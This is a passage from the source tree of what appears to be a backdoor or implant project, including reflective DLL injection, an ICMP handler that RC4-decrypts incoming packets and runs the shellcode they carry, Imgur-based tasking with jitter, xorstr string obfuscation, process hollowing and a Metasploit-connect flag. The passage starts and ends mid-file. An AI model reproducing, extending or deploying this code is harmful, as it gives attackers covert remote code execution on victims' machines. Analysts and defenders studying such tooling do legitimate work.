packet[4:] 70 | s.sendto(packet, (address, 0)) 71 | except socket.error as e: 72 | raise PingError() 73 | finally: 74 | if s is not None: 75 | s.close() 76 | -------------------------------------------------------------------------------- /src/shared/LoadLibraryR.h: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #ifndef _REFLECTIVEDLLINJECTION_LOADLIBRARYR_H 29 | #define _REFLECTIVEDLLINJECTION_LOADLIBRARYR_H 30 | //===============================================================================================// 31 | #include "ReflectiveLoader.h" 32 | 33 | #if __cplusplus 34 | extern "C" { 35 | #endif 36 | 37 | DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer ); 38 | 39 | HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength ); 40 | 41 | BOOL WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter ); 42 | 43 | #if __cplusplus 44 | }; 45 | #endif 46 | 47 | //===============================================================================================// 48 | #endif 49 | //===============================================================================================// 50 | -------------------------------------------------------------------------------- /src/shared/context.h: -------------------------------------------------------------------------------- 1 | // 2 | // MIT License 3 | // 4 | // Copyright (c) 2019 Rokas Kupstys 5 | // 6 | // Permission is hereby granted, free of charge, to any person obtaining a 7 | // copy of this software and associated documentation files (the "Software"), 8 | // to deal in the Software without restriction, including without limitation 9 | // the rights to use, copy, modify, merge, publish, distribute, sublicense, 10 | // and/or sell copies of the Software, and to permit persons to whom the 11 | // Software is furnished to do so, subject to the following conditions: 12 | // 13 | // The above copyright notice and this permission notice shall be included in 14 | // all copies or substantial portions of the Software. 15 | // 16 | // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 19 | // THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 21 | // FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 22 | // DEALINGS IN THE SOFTWARE. 23 | // 24 | #pragma once 25 | 26 | #include 27 | #include 28 | #include 29 | #include 30 | #include 31 | #include "xorstr.hpp" 32 | #include "vr-config.h" 33 | 34 | struct context 35 | { 36 | time_t payload_last_timestamp = time(nullptr); 37 | stl::string trusted_source; 38 | stl::string imgur_client_id; 39 | stl::string imgur_tag; 40 | stl::string vr_config; 41 | int imgur_tag_query_time; // Minutes 42 | int imgur_tag_query_time_jitter; // Minutes 43 | json_t pool[128]; 44 | const json_t* root; 45 | 46 | context() 47 | { 48 | vr_config = xorstr_(VR_CONFIG); 49 | root = json_create(&vr_config.at(0), pool, 128); 50 | } 51 | 52 | stl::string get_prop_string(const char* prop_name) const 53 | { 54 | if (const json_t * prop = json_getProperty(root, prop_name)) 55 | { 56 | if (prop->type == JSON_TEXT) 57 | return prop->u.value; 58 | } 59 | return ""; 60 | } 61 | 62 | int64_t get_prop_number(const char* prop_name) const 63 | { 64 | if (const json_t * prop = json_getProperty(root, prop_name)) 65 | { 66 | if (prop->type == JSON_INTEGER) 67 | return atoll(prop->u.value); 68 | if (prop->type == JSON_TEXT && strncmp(prop->u.value, "0x", 2) == 0) 69 | { 70 | char* end = nullptr; 71 | return strtoull(prop->u.value, &end, 16); 72 | } 73 | } 74 | return 0; 75 | } 76 | }; 77 | -------------------------------------------------------------------------------- /src/shared/win32.cpp: -------------------------------------------------------------------------------- 1 | // 2 | // MIT License 3 | // 4 | // Copyright (c) 2019 Rokas Kupstys 5 | // 6 | // Permission is hereby granted, free of charge, to any person obtaining a 7 | // copy of this software and associated documentation files (the "Software"), 8 | // to deal in the Software without restriction, including without limitation 9 | // the rights to use, copy, modify, merge, publish, distribute, sublicense, 10 | // and/or sell copies of the Software, and to permit persons to whom the 11 | // Software is furnished to do so, subject to the following conditions: 12 | // 13 | // The above copyright notice and this permission notice shall be included in 14 | // all copies or substantial portions of the Software. 15 | // 16 | // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 19 | // THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 21 | // FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 22 | // DEALINGS IN THE SOFTWARE. 23 | // 24 | #include "win32.h" 25 | 26 | 27 | stl::string GetFolderPath(unsigned id) 28 | { 29 | char path[MAX_PATH]{}; 30 | SHGetFolderPathA(nullptr, id, nullptr, SHGFP_TYPE_DEFAULT, path); 31 | return path; 32 | } 33 | 34 | stl::vector to_wstring(const stl::string& str) 35 | { 36 | stl::vector result; 37 | if (auto need = MultiByteToWideChar(CP_UTF8, 0, str.c_str(), static_cast(str.size()), nullptr, 0)) 38 | { 39 | result.resize(static_cast(need), L'\0'); 40 | MultiByteToWideChar(CP_UTF8, 0, str.c_str(), 41 | static_cast(str.size()), result.data(), static_cast(result.size())); 42 | } 43 | return result; 44 | } 45 | 46 | stl::string from_wstring(const wchar_t* str) 47 | { 48 | stl::string result; 49 | int len = static_cast(wcslen(str)); 50 | if (auto need = WideCharToMultiByte(CP_UTF8, 0, str, len, nullptr, 0, nullptr, nullptr)) 51 | { 52 | result.resize(static_cast(need)); 53 | WideCharToMultiByte(CP_UTF8, 0, str, len, &result.at(0), static_cast(result.size()), nullptr, nullptr); 54 | } 55 | return result; 56 | } 57 | 58 | #ifndef _WIN64 59 | extern "C" void free_module_exit_thread(HMODULE hModule, int exit_code) 60 | { 61 | __asm 62 | { 63 | push exit_code ; thread exit code 64 | push 0C000h ; MEM_RELEASE | MEM_DECOMMIT 65 | push 0 ; size 66 | push hModule ; module 67 | push dword ptr [ExitThread] ; ExitThread 68 | jmp dword ptr [VirtualFree] ; VirtualFree 69 | } 70 | } 71 | #endif 72 | -------------------------------------------------------------------------------- /dep/tinystl/include/stl/tinystl.natvis: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | {{ size={last - first} }} 5 | 6 | last - first 7 | capacity - first 8 | 9 | last - first 10 | first 11 | 12 | 13 | 14 | 15 | 16 | {{ size={m_buffer.last - m_buffer.first} }} 17 | 18 | m_buffer 19 | 20 | 21 | 22 | 23 | {{ size={m_size} }} 24 | 25 | m_size 26 | m_buckets.last - m_buckets.first 27 | 28 | *m_buckets.first 29 | next 30 | first 31 | 32 | 33 | 34 | 35 | 36 | {{ size={m_size} }} 37 | 38 | m_size 39 | m_buckets.last - m_buckets.first 40 | 41 | *m_buckets.first 42 | next 43 | second 44 | 45 | 46 | 47 | 48 | 49 | {m_first,[m_last - m_first]na} 50 | m_first,[m_last - m_first]na 51 | 52 | m_last - m_first 53 | m_capacity - m_first 54 | 55 | m_last - m_first 56 | m_first 57 | 58 | 59 | 60 | 61 | 62 | {m_str,[m_size]na} 63 | m_str,[m_size]na 64 | 65 | m_size 66 | 67 | m_size 68 | m_str 69 | 70 | 71 | 72 | 73 | -------------------------------------------------------------------------------- /src/shared/coroutine.h: -------------------------------------------------------------------------------- 1 | // 2 | // MIT License 3 | // 4 | // Copyright (c) 2019 Rokas Kupstys 5 | // 6 | // Permission is hereby granted, free of charge, to any person obtaining a 7 | // copy of this software and associated documentation files (the "Software"), 8 | // to deal in the Software without restriction, including without limitation 9 | // the rights to use, copy, modify, merge, publish, distribute, sublicense, 10 | // and/or sell copies of the Software, and to permit persons to whom the 11 | // Software is furnished to do so, subject to the following conditions: 12 | // 13 | // The above copyright notice and this permission notice shall be included in 14 | // all copies or substantial portions of the Software. 15 | // 16 | // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 19 | // THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 21 | // FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 22 | // DEALINGS IN THE SOFTWARE. 23 | // 24 | #pragma once 25 | 26 | #include 27 | #include 28 | #include 29 | 30 | inline unsigned operator "" _sec(unsigned long long int n) { return static_cast(n * 1000); } 31 | inline unsigned operator "" _min(unsigned long long int n) { return static_cast(n * 60 * 1000); } 32 | inline unsigned operator "" _hour(unsigned long long int n) { return static_cast(n * 60 * 60 * 1000); } 33 | 34 | typedef stl::function coro_func; 35 | 36 | class coroutine_loop 37 | { 38 | void* _main_fiber; 39 | unsigned int _sleep; 40 | bool _terminating; 41 | 42 | static unsigned CALLBACK _run_coro_func(void*); 43 | 44 | struct coro_ctx 45 | { 46 | void* this_fiber = nullptr; 47 | coro_func func{}; 48 | unsigned sleep = 0; 49 | unsigned last_run = GetTickCount(); 50 | }; 51 | 52 | public: 53 | coroutine_loop(); 54 | static void activate(coroutine_loop& loop); 55 | void* get_main_fiber(unsigned int ms = 0); 56 | void start(const coro_func& coro, unsigned stack_size = 1024 * 32); 57 | void stop_all() { _terminating = true; } 58 | bool is_active() const { return !_terminating; } 59 | coro_ctx* get_current_coro() { return _current; } 60 | void run(); 61 | 62 | static coroutine_loop* current_loop; 63 | 64 | protected: 65 | stl::vector _runnables; 66 | stl::vector _starting; 67 | coro_ctx* _current = nullptr; 68 | }; 69 | 70 | inline bool yield(unsigned sleepMs = 0) { SwitchToFiber(coroutine_loop::current_loop->get_main_fiber(sleepMs)); return coroutine_loop::current_loop->is_active(); } 71 | #define coro_start(proc) coroutine_loop::current_loop->start(proc) 72 | #define coro_run() coroutine_loop::current_loop->run(); 73 | -------------------------------------------------------------------------------- /src/shared/payload.cpp: -------------------------------------------------------------------------------- 1 | // 2 | // MIT License 3 | // 4 | // Copyright (c) 2019 Rokas Kupstys 5 | // 6 | // Permission is hereby granted, free of charge, to any person obtaining a 7 | // copy of this software and associated documentation files (the "Software"), 8 | // to deal in the Software without restriction, including without limitation 9 | // the rights to use, copy, modify, merge, publish, distribute, sublicense, 10 | // and/or sell copies of the Software, and to permit persons to whom the 11 | // Software is furnished to do so, subject to the following conditions: 12 | // 13 | // The above copyright notice and this permission notice shall be included in 14 | // all copies or substantial portions of the Software. 15 | // 16 | // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 19 | // THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 21 | // FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 22 | // DEALINGS IN THE SOFTWARE. 23 | // 24 | #include 25 | #include "context.h" 26 | #include "../shared/debug.h" 27 | #include "../shared/process_hollowing.h" 28 | #include "../shared/win32.h" 29 | #include "../shared/rc4.h" 30 | #include "../shared/shellcode.h" 31 | #include "vr-config.h" 32 | #include "payload.h" 33 | 34 | 35 | bool handle_payload(context& ctx, uint8_t* data, unsigned len, void* userdata) 36 | { 37 | if (len < sizeof(vr_payload)) 38 | return false; 39 | 40 | auto* payload = reinterpret_cast(data); 41 | 42 | // deobfuscate 43 | rc4_ctx rc{}; 44 | rc4_init(&rc, vr_shared_key); 45 | rc4_xor(&rc, (uint8_t*)payload, len); 46 | 47 | // entire packet is in network byte order 48 | payload->magic = ntohl(payload->magic); 49 | payload->timestamp = ntohl(payload->timestamp); 50 | 51 | if (payload->magic != payload_magic_v1) 52 | return false; 53 | 54 | if (ctx.payload_last_timestamp >= payload->timestamp) 55 | return false; 56 | 57 | ctx.payload_last_timestamp = payload->timestamp; 58 | 59 | switch (payload->action) 60 | { 61 | case payload_action_shellcode: 62 | { 63 | auto* shellcode = data + sizeof(vr_payload); 64 | unsigned shellcode_len = len - sizeof(vr_payload); 65 | shellcode_spawn(shellcode, shellcode_len); 66 | break; 67 | } 68 | case payload_action_knock: 69 | { 70 | sockaddr* addr = (sockaddr*)userdata; 71 | ctx.trusted_source.resize(45); 72 | void* addr_in = nullptr; 73 | if (addr->sa_family == AF_INET) 74 | addr_in = &((sockaddr_in*)addr)->sin_addr; 75 | else if (addr->sa_family == AF_INET6) 76 | addr_in = &((sockaddr_in6*)addr)->sin6_addr; 77 | if (addr_in) 78 | inet_ntop(addr->sa_family, addr_in, &ctx.trusted_source.at(0), ctx.trusted_source.size()); 79 | break; 80 | } 81 | default: 82 | LOG_WARNING("Unknown icmp action %d", payload->action); 83 | return false; 84 | } 85 | 86 | return true; 87 | } 88 | -------------------------------------------------------------------------------- /dep/tinystl/include/stl/traits.h: -------------------------------------------------------------------------------- 1 | /*- 2 | * Copyright 2012-2015 Matthew Endsley 3 | * All rights reserved 4 | * 5 | * Redistribution and use in source and binary forms, with or without 6 | * modification, are permitted providing that the following conditions 7 | * are met: 8 | * 1. Redistributions of source code must retain the above copyright 9 | * notice, this list of conditions and the following disclaimer. 10 | * 2. Redistributions in binary form must reproduce the above copyright 11 | * notice, this list of conditions and the following disclaimer in the 12 | * documentation and/or other materials provided with the distribution. 13 | * 14 | * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR 15 | * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 16 | * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 17 | * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY 18 | * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 19 | * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS 20 | * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 21 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, 22 | * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING 23 | * IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 24 | * POSSIBILITY OF SUCH DAMAGE. 25 | */ 26 | 27 | #ifndef TINYSTL_TRAITS_H 28 | #define TINYSTL_TRAITS_H 29 | 30 | #include "new.h" 31 | 32 | #if defined(__GNUC__) 33 | # define TINYSTL_TRY_POD_OPTIMIZATION(t) __is_pod(t) 34 | #elif defined(_MSC_VER) 35 | # define TINYSTL_TRY_POD_OPTIMIZATION(t) (!__is_class(t) || __is_pod(t)) 36 | #else 37 | # define TINYSTL_TRY_POD_OPTIMIZATION(t) false 38 | #endif 39 | 40 | namespace tinystl { 41 | template struct pod_traits {}; 42 | 43 | template struct swap_holder; 44 | 45 | template 46 | static inline void move_impl(T& a, T& b, ...) { 47 | a = b; 48 | } 49 | 50 | template 51 | static inline void move_impl(T& a, T& b, T*, swap_holder* = 0) { 52 | a.swap(b); 53 | } 54 | 55 | template 56 | static inline void move(T& a, T&b) { 57 | move_impl(a, b, (T*)0); 58 | } 59 | 60 | template 61 | static inline void move_construct_impl(T* a, T& b, ...) { 62 | new(placeholder(), a) T(b); 63 | } 64 | 65 | template 66 | static inline void move_construct_impl(T* a, T& b, void*, swap_holder* = 0) { 67 | // If your type T does not have a default constructor, simply insert: 68 | // struct tinystl_nomove_construct; 69 | // in the class definition 70 | new(placeholder(), a) T; 71 | a->swap(b); 72 | } 73 | 74 | template 75 | static inline void move_construct_impl(T* a, T& b, T*, typename T::tinystl_nomove_construct* = 0) { 76 | new(placeholder(), a) T(b); 77 | } 78 | 79 | template 80 | static inline void move_construct(T* a, T& b) { 81 | move_construct_impl(a, b, (T*)0); 82 | } 83 | } 84 | 85 | #endif 86 | -------------------------------------------------------------------------------- /src/vr/icmp.hpp: -------------------------------------------------------------------------------- 1 | // 2 | // MIT License 3 | // 4 | // Copyright (c) 2019 Rokas Kupstys 5 | // 6 | // Permission is hereby granted, free of charge, to any person obtaining a 7 | // copy of this software and associated documentation files (the "Software"), 8 | // to deal in the Software without restriction, including without limitation 9 | // the rights to use, copy, modify, merge, publish, distribute, sublicense, 10 | // and/or sell copies of the Software, and to permit persons to whom the 11 | // Software is furnished to do so, subject to the following conditions: 12 | // 13 | // The above copyright notice and this permission notice shall be included in 14 | // all copies or substantial portions of the Software. 15 | // 16 | // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 19 | // THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 21 | // FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 22 | // DEALINGS IN THE SOFTWARE. 23 | // 24 | #pragma once 25 | 26 | 27 | #include 28 | 29 | // ICMP packet types 30 | #define ICMP_ECHO_REPLY 0 31 | #define ICMP_DEST_UNREACH 3 32 | #define ICMP_TTL_EXPIRE 11 33 | #define ICMP_ECHO_REQUEST 8 34 | 35 | // Minimum ICMP packet size, in bytes 36 | #define ICMP_MIN 8 37 | 38 | enum IcmpFlags 39 | { 40 | ICMP_PORT_OPEN = 1, 41 | ICMP_PORT_CLOSE = 2, 42 | ICMP_MSF_CONNECT = 4, 43 | ICMP_FLAGS_MAX 44 | }; 45 | 46 | #pragma pack(1) 47 | 48 | #ifdef _WIN32 49 | // The IP header 50 | struct iphdr 51 | { 52 | uint8_t ihl : 4; // Length of the header in dwords 53 | uint8_t version : 4; // Version of IP 54 | uint8_t tos; // Type of service 55 | uint16_t tot_len; // Length of the packet in dwords 56 | uint16_t id; // unique identifier 57 | uint16_t frag_off; // Flags 58 | uint8_t ttl; // Time to live 59 | uint8_t protocol; // Protocol number (TCP, UDP etc) 60 | uint16_t check; // IP checksum 61 | uint32_t saddr; 62 | uint32_t daddr; 63 | }; 64 | 65 | // ICMP header 66 | struct icmphdr { 67 | uint8_t type; // ICMP packet type 68 | uint8_t code; // Type sub code 69 | uint16_t checksum; 70 | uint16_t id; 71 | uint16_t seq; 72 | }; 73 | #else 74 | #include 75 | #include 76 | #endif 77 | 78 | #pragma pack() 79 | 80 | static uint16_t icmp_checksum(uint16_t* buffer, int size) 81 | { 82 | unsigned long cksum = 0; 83 | 84 | // Sum all the words together, adding the final byte if size is odd 85 | while (size > 1) { 86 | cksum += *buffer++; 87 | size -= sizeof(uint16_t); 88 | } 89 | if (size) { 90 | cksum += *(uint16_t*)buffer; 91 | } 92 | 93 | // Do a little shuffling 94 | cksum = (cksum >> 16) + (cksum & 0xffff); 95 | cksum += (cksum >> 16); 96 | 97 | // Return the bitwise complement of the resulting mishmash 98 | return (uint16_t)(~cksum); 99 | } 100 | -------------------------------------------------------------------------------- /dep/mini-gzip/mini_gzip.c: -------------------------------------------------------------------------------- 1 | /* 2 | * BSD 2-clause license 3 | * Copyright (c) 2013 Wojciech A. Koszek 4 | * 5 | * Based on: 6 | * 7 | * https://github.com/strake/gzip.git 8 | * 9 | * I had to rewrite it, since strake's version was powered by UNIX FILE* API, 10 | * while the key objective was to perform memory-to-memory operations 11 | */ 12 | 13 | #include 14 | #include 15 | #include 16 | 17 | #ifdef MINI_GZ_DEBUG 18 | #include 19 | #endif 20 | 21 | #include 22 | #include "mini_gzip.h" 23 | 24 | int 25 | mini_gz_start(struct mini_gzip *gz_ptr, void *mem, size_t mem_len) 26 | { 27 | uint8_t *hptr, *hauxptr, *mem8_ptr; 28 | uint16_t fextra_len; 29 | 30 | assert(gz_ptr != NULL); 31 | 32 | mem8_ptr = (uint8_t *)mem; 33 | hptr = mem8_ptr + 0; // .gz header 34 | hauxptr = mem8_ptr + 10; // auxillary header 35 | 36 | gz_ptr->hdr_ptr = hptr; 37 | gz_ptr->data_ptr = 0; 38 | gz_ptr->data_len = 0; 39 | gz_ptr->total_len = mem_len; 40 | gz_ptr->chunk_size = 1024; 41 | 42 | if (hptr[0] != 0x1F || hptr[1] != 0x8B) { 43 | GZDBG("hptr[0] = %02x hptr[1] = %02x\n", hptr[0], hptr[1]); 44 | return (-1); 45 | } 46 | if (hptr[2] != 8) { 47 | return (-2); 48 | } 49 | if (hptr[3] & 0x4) { 50 | fextra_len = hauxptr[1] << 8 | hauxptr[0]; 51 | gz_ptr->fextra_len = fextra_len; 52 | hauxptr += 2; 53 | gz_ptr->fextra_ptr = hauxptr; 54 | } 55 | if (hptr[3] & 0x8) { 56 | gz_ptr->fname_ptr = hauxptr; 57 | while (*hauxptr != '\0') { 58 | hauxptr++; 59 | } 60 | hauxptr++; 61 | } 62 | if (hptr[3] & 0x10) { 63 | gz_ptr->fcomment_ptr = hauxptr; 64 | while (*hauxptr != '\0') { 65 | hauxptr++; 66 | } 67 | hauxptr++; 68 | } 69 | if (hptr[3] & 0x2) /* FCRC */ { 70 | gz_ptr->fcrc = (*(uint16_t *)hauxptr); 71 | hauxptr += 2; 72 | } 73 | gz_ptr->data_ptr = hauxptr; 74 | gz_ptr->data_len = mem_len - (hauxptr - hptr); 75 | gz_ptr->magic = MINI_GZIP_MAGIC; 76 | return (0); 77 | } 78 | 79 | void 80 | mini_gz_chunksize_set(struct mini_gzip *gz_ptr, int chunk_size) 81 | { 82 | 83 | assert(gz_ptr != 0); 84 | assert(gz_ptr->magic == MINI_GZIP_MAGIC); 85 | gz_ptr->chunk_size = chunk_size; 86 | } 87 | 88 | void 89 | mini_gz_init(struct mini_gzip *gz_ptr) 90 | { 91 | 92 | memset(gz_ptr, 0xffffffff, sizeof(*gz_ptr)); 93 | gz_ptr->magic = MINI_GZIP_MAGIC; 94 | mini_gz_chunksize_set(gz_ptr, 1024); 95 | } 96 | 97 | 98 | int 99 | mini_gz_unpack(struct mini_gzip *gz_ptr, void *mem_out, size_t mem_out_len) 100 | { 101 | z_stream s; 102 | int ret, in_bytes_avail, bytes_to_read; 103 | 104 | assert(gz_ptr != 0); 105 | assert(gz_ptr->data_len > 0); 106 | assert(gz_ptr->magic == MINI_GZIP_MAGIC); 107 | 108 | memset (&s, 0, sizeof (z_stream)); 109 | inflateInit2(&s, -MZ_DEFAULT_WINDOW_BITS); 110 | in_bytes_avail = gz_ptr->data_len; 111 | s.avail_out = mem_out_len; 112 | s.next_in = gz_ptr->data_ptr; 113 | s.next_out = mem_out; 114 | for (;;) { 115 | bytes_to_read = MINI_GZ_MIN(gz_ptr->chunk_size, in_bytes_avail); 116 | s.avail_in += bytes_to_read; 117 | ret = mz_inflate(&s, MZ_SYNC_FLUSH); 118 | in_bytes_avail -= bytes_to_read; 119 | if (s.avail_out == 0 && in_bytes_avail != 0) { 120 | return (-3); 121 | } 122 | assert(ret != MZ_BUF_ERROR); 123 | if (ret == MZ_PARAM_ERROR) { 124 | return (-1); 125 | } 126 | if (ret == MZ_DATA_ERROR) { 127 | return (-2); 128 | } 129 | if (ret == MZ_STREAM_END) { 130 | break; 131 | } 132 | } 133 | ret = inflateEnd(&s); 134 | if (ret != Z_OK) { 135 | return (-4); 136 | } 137 | return (s.total_out); 138 | } 139 | -------------------------------------------------------------------------------- /script/bin2h.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # MIT License 4 | # 5 | # Copyright (c) 2019 Rokas Kupstys 6 | # 7 | # Permission is hereby granted, free of charge, to any person obtaining a 8 | # copy of this software and associated documentation files (the "Software"), 9 | # to deal in the Software without restriction, including without limitation 10 | # the rights to use, copy, modify, merge, publish, distribute, sublicense, 11 | # and/or sell copies of the Software, and to permit persons to whom the 12 | # Software is furnished to do so, subject to the following conditions: 13 | # 14 | # The above copyright notice and this permission notice shall be included in 15 | # all copies or substantial portions of the Software. 16 | # 17 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 18 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 19 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 20 | # THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 21 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 22 | # FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 23 | # DEALINGS IN THE SOFTWARE. 24 | # 25 | import argparse 26 | import hashlib 27 | import sys 28 | import os 29 | import random 30 | import zlib 31 | 32 | 33 | def rc4crypt(data, key): 34 | x = 0 35 | box = list(range(256)) 36 | for i in range(256): 37 | x = (x + box[i] + key[i % len(key)]) % 256 38 | box[i], box[x] = box[x], box[i] 39 | x = 0 40 | y = 0 41 | for i in range(len(data)): 42 | x = (x + 1) % 256 43 | y = (y + box[x]) % 256 44 | box[x], box[y] = box[y], box[x] 45 | data[i] ^= box[(box[x] + box[y]) % 256] 46 | return data 47 | 48 | 49 | def bin2h(file_in, file_out, name): 50 | 51 | try: 52 | if os.path.getmtime(sys.argv[1]) <= os.path.getmtime(sys.argv[2]): 53 | return 54 | except WindowsError: 55 | pass 56 | 57 | fi = open(file_in, 'rb') 58 | fo = open(file_out, 'w+') 59 | if fi is not None and fo is not None: 60 | bin = bytearray(fi.read()) 61 | 62 | fo.write('// {}\n'.format(hashlib.sha1(bin).hexdigest())) 63 | fo.write('#pragma once\n\n') 64 | fo.write('const unsigned RSRC_%s_SIZE = %d;\n' % (name, len(bin))) 65 | bin = bytearray(zlib.compress(bin)) 66 | 67 | random.seed() 68 | key = [] 69 | for _x in range(20): 70 | key.append(random.getrandbits(8) & 0xFF) 71 | fo.write('const unsigned char RSRC_%s_KEY[] = { ' % name) 72 | for k in key: 73 | fo.write('0x%02X, ' % k) 74 | fo.write('};\n') 75 | fo.write('const unsigned RSRC_%s_KEY_SIZE = sizeof(RSRC_%s_KEY);\n\n' % (name, name)) 76 | rc4crypt(bin, key) 77 | 78 | fo.write('unsigned char RSRC_%s_DATA[] = {\n\t' % name) 79 | 80 | li = 1 81 | for i in range(len(bin)): 82 | fo.write('0x%02X, ' % bin[i]) 83 | if li == 15: 84 | fo.write('\n\t') 85 | li = 0 86 | li += 1 87 | fo.write('\r\n};\n') 88 | fo.write('const unsigned RSRC_%s_DATA_SIZE = sizeof(RSRC_%s_DATA);\n\n' % (name, name)) 89 | fo.close() 90 | fi.close() 91 | else: 92 | print('Either of files can not be accessed!') 93 | 94 | 95 | if __name__ == '__main__': 96 | parser = argparse.ArgumentParser() 97 | parser.add_argument('input') 98 | parser.add_argument('output') 99 | parser.add_argument('name') 100 | args = parser.parse_args() 101 | bin2h(args.input, args.output, args.name) 102 | -------------------------------------------------------------------------------- /CMakeLists.txt: -------------------------------------------------------------------------------- 1 | # 2 | # MIT License 3 | # 4 | # Copyright (c) 2019 Rokas 